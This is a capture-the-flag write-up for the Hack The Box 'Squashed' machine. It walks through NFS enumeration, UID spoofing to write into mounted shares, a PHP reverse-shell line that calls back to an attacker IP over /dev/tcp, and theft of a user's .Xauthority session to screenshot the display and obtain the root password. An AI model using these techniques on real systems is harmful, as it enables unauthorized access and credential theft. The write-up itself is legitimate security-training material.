---
# System prepended metadata

title: SQUASHED WRITEUP HACKTHEBOX
tags: [CTF, Hack-The-Box]

---

![](https://i.imgur.com/KRJyaZe.png)

This is a quiet interesting machine that is actually realistic. I personally learnt something new while solving this machine. 

### Enumeration

![](https://i.imgur.com/uZXySuH.png)

We have got the NFS port open, you can follow up on [hacktricks](https://book.hacktricks.xyz/network-services-pentesting/nfs-service-pentesting) and get the cheatsheet. So I now use `showmount` to show all mounted folders.

![](https://i.imgur.com/xEx1vzN.png)

We have `/home/ross` and `/var/www/html`.

Now I mount the folders with the commands:

```
sudo mkdir /mnt/ross_folder && sudo mkdir /mnt/web_folder
mount -t nfs 10.10.11.191:/home/ross /mnt/ross_folder -o nolock
mount -t nfs 10.10.11.191:/var/www/html /mnt/web_folder -o nolock
```

![](https://i.imgur.com/9iJTiHA.png)

Now let's have one last look at the nfs permissions upon the folders so that we can understand our way out of this. And we do this using nmap with the commands:

```
sudo nmap 10.10.11.191 --script nfs-ls
```

Or Instead of using nmap you have an alternative using metasploit with the module `scanner/nfs/nfsmount`

![](https://i.imgur.com/PRZExhQ.png)

From the image above we can tell that we have read and write permission on `/var/www/html`. We can use this to our advantage and get initial access on the target's machine.


### Initial Foothold

To be able to read and write in `/var/www/html` we need to be a user with the UID of 2017. In this case we create a user in our own machine and give the user that UID.

```bash!
sudo useradd pewpew
sudo usermod -u 2017 pewpew
sudo groupmod -g 2017
su pewpew
```

![](https://i.imgur.com/hWtMBj1.png)

I'll create a new file named `new.php` and i'll give it the malicious code that will be executed and provide a reverse shell once visited on the web

```php!
<?php system("bash -c 'bash -i &>/dev/tcp/10.10.10.10/1337 <&1'");?>
```

I am going to set a listener on port 1337 and trigger the reverse shell by using curl on requesting the file.

![](https://i.imgur.com/n4AuMNB.png)

Voila! I got user access.

![](https://i.imgur.com/JT4yxZa.png)

The flag is found in `/home/alex/user.txt`


### PRIVILEGE ESCALATION

![](https://i.imgur.com/luPhV7K.png)

First trying to check for privileges of the user, and it asks for the password but unfortunately we do not know the password. Digging a bit more, I was able to see that the user `ross` is logged in:

![](https://i.imgur.com/MTFH2d1.png)

And we do have access to Ross's home folder. While looking through his folder there is a Passwords.kdbx file which is a keepass database, thus tried cracking that but couldn't even convert it to john readable hash.

![](https://i.imgur.com/ehU8uVP.png)

![](https://i.imgur.com/k4lEZML.png)

Taking a closer look at the files inside the home directory of Ross we can see that he has `.Xauthority` file.

![](https://i.imgur.com/ytJFZh4.png)


Now you can read through this to get some basic information about what .Xauthority file does [xauthority-explained](https://www.systranbox.com/what-is-xauthority-file-linux/), Basically the file stores the user's session once logged in. In this case we can try replacing Alex's session with Ross's session which allows us to have access.

Now to achieve this we first create a user with the UID 1001. Thus allows us to be able to read the files.

```bash!
sudo useradd test
sudo usermod -u 1001
sudo groupmod -g 1001
su test
```

Then we run the following

```bash!
cat /mnt/ross_folder/.Xauthority | base64 > /tmp/xauth
cd /tmp && python3 -m http.server
```

This should copy the file to `/tmp` and then start a HTTP server where you can download from the target.

![](https://i.imgur.com/6wrl5U5.png)

Then I'll use the command `XAUTHORITY=/tmp/xauth` to set it as my session. I now use xwd to take a screenshot of the display of the user Ross using the commands:

```bash!
xwd -root -screen -silent -display :0 > ~/out.xwd
```

the `:0` is replaced with the `FROM` column value where in our case it's `:0`, after taking the screenshot I shall use python to host a HTTP server again from `/home/alex` or move the image to `/var/www/html/` so as I can be able to access it and view it.

![](https://i.imgur.com/IOW5Kvd.png)

From here we get the password for root user which we can use to login as root to the target

![](https://i.imgur.com/n4nTyLN.png)


ROOTED! PEWPEW 🙃 GREAT WORK TO [polarbear](https://app.hackthebox.com/users/159204) & [C4rm3l0](https://app.hackthebox.com/users/458049)

---

![](https://i.giphy.com/media/xjZtu4qi1biIo/giphy.webp)